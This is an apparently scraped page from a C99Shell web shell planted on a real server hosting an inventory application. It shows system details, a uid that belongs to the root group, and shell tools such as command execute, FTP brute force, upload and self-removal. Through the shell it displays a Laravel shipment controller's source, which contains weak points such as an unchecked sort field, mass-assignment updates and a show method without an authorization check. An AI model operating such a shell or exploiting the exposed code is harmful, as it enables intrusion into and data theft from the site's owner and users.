!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/inventory.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 29.15 GB of 117.98 GB (24.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ShipmentController.php (7.45 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Exports\ShipmentsExport;
use 
App\Models\Shipment;
use 
App\Models\Sale;
use 
App\utils\helpers;
use 
Carbon\Carbon;
use 
DB;
use 
Illuminate\Http\Request;
use 
Maatwebsite\Excel\Facades\Excel;
use 
Illuminate\Support\Facades\Auth;

class 
ShipmentController extends BaseController
{

    
//----------- Get ALL Shipments-------\\

    
public function index(request $request)
    {
        
$this->authorizeForUser($request->user('api'), 'view'Shipment::class);

        
// How many items do you want to display.
        
$perPage $request->limit;
        
$pageStart \Request::get('page'1);
        
// Start displaying items from this number;
        
$offSet = ($pageStart $perPage) - $perPage;
        
$order $request->SortField;
        
$dir $request->SortType;
        
$helpers = new helpers();
        
$data = array();

        
$shipments Shipment::with('sale','sale.client','sale.warehouse')

        
// Search With Multiple Param
            
->where(function ($query) use ($request) {
                return 
$query->when($request->filled('search'), function ($query) use ($request) {
                    return 
$query->where('Ref''LIKE'"%{$request->search}%")
                        ->
orWhere('status''LIKE'"%{$request->search}%")
                        ->
orWhere('delivered_to''LIKE'"%{$request->search}%")
                        ->
orWhere(function ($query) use ($request) {
                            return 
$query->whereHas('sale', function ($q) use ($request) {
                                
$q->where('Ref''LIKE'"%{$request->search}%");
                            });
                        })
                        ->
orWhere(function ($query) use ($request) {
                            return 
$query->whereHas('sale.warehouse', function ($q) use ($request) {
                                
$q->where('name''LIKE'"%{$request->search}%");
                            });
                        })
                        ->
orWhere(function ($query) use ($request) {
                            return 
$query->whereHas('sale.client', function ($q) use ($request) {
                                
$q->where('name''LIKE'"%{$request->search}%");
                            });
                        });

                });
            });
        
$totalRows $shipments->count();
        if(
$perPage == "-1"){
            
$perPage $totalRows;
        }
        
$shipments_data $shipments->offset($offSet)
            ->
limit($perPage)
            ->
orderBy($order$dir)
            ->
get();

        foreach (
$shipments_data as $shipment) {

            
$item['id'] = $shipment['id'];
            
$item['date'] = $shipment['date'];
            
$item['shipment_ref'] = $shipment['Ref'];
            
$item['status'] = $shipment['status'];
            
$item['delivered_to'] = $shipment['delivered_to'];
            
$item['shipping_address'] = $shipment['shipping_address'];
            
$item['shipping_details'] = $shipment['shipping_details'];
            
$item['sale_ref'] = $shipment['sale']['Ref'];
            
$item['sale_id'] = $shipment['sale']['id'];
            
$item['warehouse_name'] = $shipment['sale']['warehouse']->name;
            
$item['customer_name'] = $shipment['sale']['client']->name;
            
            
$data[] = $item;
        }

        return 
response()->json([
            
'shipments' => $data,
            
'totalRows' => $totalRows,
        ]);
    }

   

    
//----------- Store new Shipment -------\\

    
public function store(Request $request)
    {
        
$this->authorizeForUser($request->user('api'), 'create'Shipment::class);

        
request()->validate([
            
'status' => 'required',
        ]);

        
\DB::transaction(function () use ($request) {
            
$shipment Shipment::firstOrNew([ 'Ref' => $request['Ref']]);

            
$shipment->user_id Auth::user()->id;
            
$shipment->sale_id $request['sale_id'];
            
$shipment->delivered_to $request['delivered_to'];
            
$shipment->shipping_address $request['shipping_address'];
            
$shipment->shipping_details $request['shipping_details'];
            
$shipment->status $request['status'];
            
$shipment->save();

            
$sale Sale::findOrFail($request['sale_id']);
            
$sale->update([
                
'shipping_status' => $request['status'],
            ]);

        }, 
10);
       
        return 
response()->json(['success' => true]);

    }

    public function 
show($id){

        
$get_shipment Shipment::where('sale_id'$id)->first();

        if(
$get_shipment){

            
$shipment_data['Ref'] = $get_shipment->Ref;
            
$shipment_data['sale_id'] = $get_shipment->sale_id;
            
$shipment_data['delivered_to'] = $get_shipment->delivered_to;
            
$shipment_data['shipping_address'] = $get_shipment->shipping_address;
            
$shipment_data['status'] = $get_shipment->status;
            
$shipment_data['shipping_details'] = $get_shipment->shipping_details;

        }else{

            
$shipment_data['Ref'] = $this->getNumberOrder();
            
$shipment_data['sale_id'] = $id;
            
$shipment_data['delivered_to'] = '';
            
$shipment_data['shipping_address'] = '';
            
$shipment_data['status'] = '';
            
$shipment_data['shipping_details'] = '';
        }
        return 
response()->json([
            
'shipment' => $shipment_data,
        ]);

    }


    
//----------- Update Shipment-------\\

    
public function update(Request $request$id)
    {
        
$this->authorizeForUser($request->user('api'), 'update'Shipment::class);

        
request()->validate([
            
'status' => 'required',
        ]);

        
\DB::transaction(function () use ($request $id) {

            
Shipment::whereId($id)->update($request->all());

            
$sale Sale::findOrFail($request['sale_id']);
            
$sale->update([
                
'shipping_status' => $request['status'],
            ]);

        }, 
10);

        return 
response()->json(['success' => true]);

    }

    
//----------- delete Shipment-------\\

    
public function destroy(Request $request$id)
    {
        
$this->authorizeForUser($request->user('api'), 'delete'Shipment::class);

        
\DB::transaction(function () use ($request $id) {

            
$shipment Shipment::find($id);
            
$shipment->delete();

            
$sale Sale::findOrFail($shipment->sale_id);
            
$sale->update([
                
'shipping_status' => $request['status'],
            ]);

        }, 
10);

        return 
response()->json(['success' => true]);

    }

   

    
//----------- Export Excel ALL Shipments-------\\

    
public function exportExcel(Request $request)
    {
        
$this->authorizeForUser($request->user('api'), 'view'Shipment::class);

        return 
Excel::download(new ShipmentsExport'shipments.xlsx');
    }

   
//------------- Reference Number Order SALE -----------\\

   
public function getNumberOrder()
   {

       
$last DB::table('shipments')->latest('id')->first();

       if (
$last) {
           
$item $last->Ref;
           
$nwMsg explode("_"$item);
           
$inMsg $nwMsg[1] + 1;
           
$code $nwMsg[0] . '_' $inMsg;
       } else {
           
$code 'SM_1111';
       }
       return 
$code;
   }

    

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--